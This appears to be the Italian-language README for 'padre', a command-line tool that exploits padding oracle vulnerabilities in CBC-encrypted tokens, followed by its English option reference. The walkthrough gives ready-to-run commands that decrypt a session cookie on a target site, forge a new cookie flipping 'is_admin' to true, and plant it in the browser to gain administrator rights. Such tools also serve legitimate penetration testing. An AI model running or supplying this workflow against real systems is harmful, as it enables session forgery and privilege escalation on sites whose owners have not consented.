
Estremamente veloce, exploit avanzato di Padding Oracle
padre è un exploiter avanzato per attacchi Padding Oracle contro la crittografia in modalità CBC
Caratteristiche:

Il modo più veloce è scaricare il binario precompilato per il tuo sistema operativo dalla Ultima release
In alternativa, se hai Go installato, compila dal sorgente:
go install github.com/glebarez/padre@latest
Se trovi un sospetto padding oracle, dove i dati crittografati sono memorizzati in un cookie chiamato SESS, puoi usare quanto segue:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
padre rileverà automaticamente le risposte HTTP per determinare se il padding oracle può essere confermato. Se il server è effettivamente vulnerabile, il token fornito verrà decrittato in qualcosa come:
{"user_id": 456, "is_admin": false}
Sembra che tu possa aumentare i tuoi privilegi!
Puoi provare a farlo generando prima i tuoi dati crittografati che l'oracolo decritterà in un plaintext subdolo:
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
Questo produrrà un altro set di dati crittografati codificati, forse qualcosa come sotto (se viene usato base64):
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Ora puoi aprire il browser e impostare il valore del cookie SESS al valore sopra. Caricando la pagina dell'oracolo originale, dovresti vederti elevato a livello di amministratore.
Usage: padre [OPTIONS] [INPUT]
INPUT:
In decrypt mode: encrypted data
In encrypt mode: the plaintext to be encrypted
If not passed, will read from STDIN
NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)
OPTIONS:
-u *required*
target URL, use $ character to define token placeholder (if present in URL)
-enc
Encrypt mode
-err
Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting
-e
Encoding to apply to binary data. Supported values:
b64 (standard base64) *default*
lhex (lowercase hex)
-r
Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
Example:
If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~"
-cookie
Cookie value to be set in HTTP requests. Use $ character to mark token placeholder.
-post
String data to perform POST requests. Use $ character to mark token placeholder.
-ct
Content-Type for POST requests. If not specified, Content-Type will be determined automatically.
-b
Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
8
16 *default*
32
-p
Number of parallel HTTP connections established to target server [1-256]
30 *default*
-proxy
HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP